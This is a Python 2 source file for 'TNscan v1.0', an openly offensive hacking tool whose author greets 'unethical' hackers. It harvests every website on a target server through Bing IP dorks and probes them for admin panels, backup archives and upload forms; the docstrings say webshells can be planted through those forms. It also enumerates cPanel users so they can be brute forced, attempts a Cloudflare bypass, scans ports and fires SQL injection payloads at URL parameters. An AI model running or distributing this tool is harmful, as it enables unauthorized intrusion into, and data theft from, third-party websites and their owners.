TNscan v1.0

#!/usr/bin/env python2
# >>> Bism Allah <<<
# Code Name : TNscan v1.0
# Coder     : MatriX Coder (17 yo guy from Tunisia)
# Blog      : www.matrixcoder.co.vu
# Twitter   : MatriX_Coder
# Pastebin  : www.pastebin.com/u/matrixcoder
# this a developed version of al-swisre code (well i think it's even better) anyway greats to that man
# Greats to : all Muslim (ethical and unethical) Hackers who are fighting for an issue
#              greats also to tunisia fallega team and to madleets team and to you !
# Wroten with <3 in my arch machine using geany, a cup of tea and while listening to jazz

import re, urllib2, urllib, os, socket, sys
from platform import system
logo = """
\t _____ _   _
\t|_   _| \ | |
\t  | | |  \| |___  ___ __ _ _ __
\t  | | | . ` / __|/ __/ _` | '_ \
\t  | | | |\  \__ \ (_| (_| | | | |
\t  \_/ \_| \_/___/\___\__,_|_| |_| v1.0

"""

menu = """
 1) Get all websites
 2) Get joomla websites
 3) Get wordpress websites
 4) Find control panel
 5) Find zip files
 6) Find upload files
 7) Get server users
 8) Scan from SQL injection
 9) Crawl and scan from SQL injection (soon)
 10) Scan ports (range of ports)
 11) Scan ports (common ports  )
 12) Get server banner
 13) Bypass Cloudflare
 14) About !
 99) Exit
"""
def unique(seq):
    """
    get unique from list found it on stackoverflow
    """
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]

def clearScr() :
    """
    clear the screen in case of GNU/Linux or
    windows
    """
    if system() == 'Linux':
        os.system('clear')
    if system() == 'Windows':
        os.system('cls')

class TNscan :
    def __init__(self, serverip) :
        self.serverip = serverip
        self.getSites(False)
        print menu
        while True :
            choice = raw_input(' Enter choice -> ')
            if choice == '1' :
                self.getSites(True)
            elif choice == '2' :
                self.getJoomla()
            elif choice == '3' :
                self.getWordpress()
            elif choice == '4' :
                self.findPanels()
            elif choice == '5' :
                self.findZip()
            elif choice == '6' :
                self.findUp()
            elif choice == '7' :
                self.getUsers()
            elif choice == '8' :
                self.grabSqli()
            elif choice == '10' :
                ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
                self.portScanner(1, ran)
            elif choice == '11' :
                self.portScanner(2, None)
            elif choice == '12' :
                self.getServerBanner()
            elif choice == '13' :
                self.cloudflareBypasser()
            elif choice == '14' :
                self.aboutME()
            elif choice == '99' :
                print ' Goodbye'
                exit()
            con = raw_input(' Continue [Y/n] -> ')
            if con[0].upper() == 'N' :
                exit()
            else :
                clearScr()
                print logo
                print menu

    def aboutME(self) :
        clearScr()
        print """
 >>> Bism Allah <<<
 Code Name : TNscan v1.0
 Coder     : MatriX Coder (17 yo guy from Tunisia)
 Blog      : www.matrixcoder.co.vu
 Twitter   : MatriX_Coder
 Pastebin  : www.pastebin.com/u/matrixcoder
 this a developed version of al-swisre code (well i think it's even better) anyway greats to that man
 Greats to : all Muslim (ethical and unethical) Hackers who are fighting for an issue
         greats also to tunisian fallega team, to madleets team and to you !
 Wroten with <3 in my arch machine using geany, a cup of tea and while listening to jazz
"""

    def getSites(self, a) :
        """
        get all websites on same server
        from bing search
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    allnoclean = findwebs[i]
                    findall1 = re.findall('http://(.*?)/', allnoclean)
                    for idx, item in enumerate(findall1):
                        if 'www' not in item:
                            findall1[idx] = 'http://www.' + item + '/'
                        else:
                            findall1[idx] = 'http://' + item + '/'
                    lista.extend(findall1)

                page += 50
            except urllib2.URLError:
                pass
        self.sites = unique(lista)
        if a :
            clearScr()
            print '[*] Found ', len(lista), ' Website\n'
            for site in self.sites :
                print site

    def getWordpress(self) :
        """
        get wordpress site using a dork the attacker
        may do a password list attack (i did a tool for that purpose check my pastebin)
        or scan for common vulnerabilities using wpscan for example (i did a simple tool
        for multi scanning using wpscan)
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    wpnoclean = findwebs[i]
                    findwp = re.findall('(.*?)\?page_id=', wpnoclean)
                    lista.extend(findwp)
                page += 50
            except:
                pass
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Wordpress Website\n'
        for site in lista :
            print site

    def getJoomla(self) :
        """
        get all joomla websites using
        bing search the attacker may bruteforce
        or scan them
        """
        lista = []
        page = 1
        while page <= 101:
            bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                jmnoclean = findwebs[i]
                findjm = re.findall('(.*?)index.php', jmnoclean)
                lista.extend(findjm)
            page += 50
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Joomla Website\n'
        for site in lista :
            print site


    def findPanels(self) :
        """
        find panels from grabbed websites
        the attacker may do a lot of vulnerabilty
        tests on the admin area
        """
        adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
        clearScr()
        for site in self.sites :
            for admin in adminList :
                if urllib.urlopen(site + admin).getcode() == 200 :
                    print " [*] Found admin panel -> ", site + admin

    def findZip(self) :
        """
        find zip files from grabbed websites
        it may contain useful informations
        """
        zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
        clearScr()
        for site in self.sites :
            for zip1 in zipList :
                if urllib.urlopen(site + zip1).getcode() == 200 :
                    print " [*] Found zip file -> ", site + zip1

    def findUp(self) :
        """
        find upload forms from grabbed
        websites the attacker may succeed to
        upload malicious files like webshells
        """
        upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
        clearScr()
        for site in self.sites :
            for up in upList :
                if (urllib.urlopen(site + up).getcode() == 200) :
                    html = urllib.urlopen(site + up).readlines()
                    for line in html :
                        if re.findall('type=file', line) :
                            print " [*] Found upload -> ", site+up

    def getUsers(self) :
        """
        get server users using a method found by
        iranian hackers i think, the attacker may
        do a bruteforce attack on CPanel, ssh, ftp or
        even mysql if it supports remote login
        (you can use medusa or hydra)
        """
        userslist = []
        for site in self.sites :
            try:
                site = site.replace('http://www.', '')
                site = site.replace('http://', '')
                site = site.replace('.', '')
                if '-' in site:
                    site = site.replace('-', '')
                site = site.replace('/', '')

                while len(site) > 2:
                    resp = urllib2.urlopen(site + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
                    if 'invalid username' not in resp.lower():
                        print '\t [*] Found -> ', site
                        userslist.append(site)
                    else :
                        print site

                    site = site[:-1]

                clearScr()
                for user in userlist :
                    print user

            except:
                pass

    def cloudflareBypasser(self) :
        """
        trys to bypass cloudflare i already wrote
        in my blog how it works, i learned this
        method from a guy in madleets
        """
        clearScr()
        subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
        for site in self.sites :
            site.replace('http://', '')
            site.replace('/', '')
            try:
                ip = socket.gethostbyname(site)
            except socket.error:
                pass
            for sub in subdoms:
                doo = sub + '.' + site
                print ' [~] Trying -> ', doo
                try:
                    ddd = socket.gethostbyname(doo)
                    if ddd != ip:
                        print ' [*] Cloudflare bypassed -> ', ddd
                        break
                except socket.error :
                    pass

    def getServerBanner(self) :
        """
        simply gets the server banner
        the attacker may benefit from it
        like getting the server side software
        """
        clearScr()
        try:
            s = 'http://' + self.serverip
            httpresponse = urllib.urlopen(s)
            print ' [*] Server header -> ', httpresponse.headers.getheader('server')
        except:
            pass

    def grabSqli(self) :
        """
        just grabs all websites in server with php?id= dork
        for scanning for error based sql injection
        """
        page = 1
        lista = []
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    x = findwebs[i]
                    lista.append(x)
            except:
                pass
            page += 50
        lista = unique(lista)
        self.checkSqli(lista)

    def checkSqli(self, s):
        """
        checks for error based sql injection,
        most of the codes here are from webpwn3r
        project the one who has found an lfi in
        yahoo as i remember, you can find a separate
        tool in my blog
        """
        clearScr()
        payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
        check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
        for url in s:
            try:
                for param in url.split('?')[1].split('&'):
                    for payload in payloads:
                        power = url.replace(param, param + payload.strip())
                        #print power
                        html = urllib2.urlopen(power).readlines()
                        for line in html:
                            checker = re.findall(check, line)
                            if len(checker) != 0 :
                                print ' [*] SQLi found -> ', power
            except:
                pass

    def crawlSqli(self) :
        """
        simple crawling using chilkat (yeah chilkat sucks)
        and scan for error based sql injection
        [!] will be on the next version
        """
        pass

    def portScanner(self, mode, ran) :
        """
        simple port scanner works with range of ports
        or with common ports (al-swisre idea)
        """
        clearScr()
        def do_it(ip, port):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #sock.settimeout(5)
            sock = sock.connect_ex((ip,port))
            if sock == 0:
                print " [*] Port %i is open" % port

        if mode == 1 :
            a = ran.split('-')
            start = int(a[0])
            end = int(a[1])
            for i in range(start, end):
                do_it(self.serverip, i)
        elif mode == 2 :
            for port in [80,21,22,2082,25,53,110,443,143] :
                # didn't use multithreading cos it's few ports
                do_it(self.serverip, port)

if __name__ == '__main__' :
    try :
        clearScr()
        print logo
        TNscan(sys.argv[1])
    except IndexError :
        print " [*] Usage : python "+sys.argv[0]+" 127.0.0.1"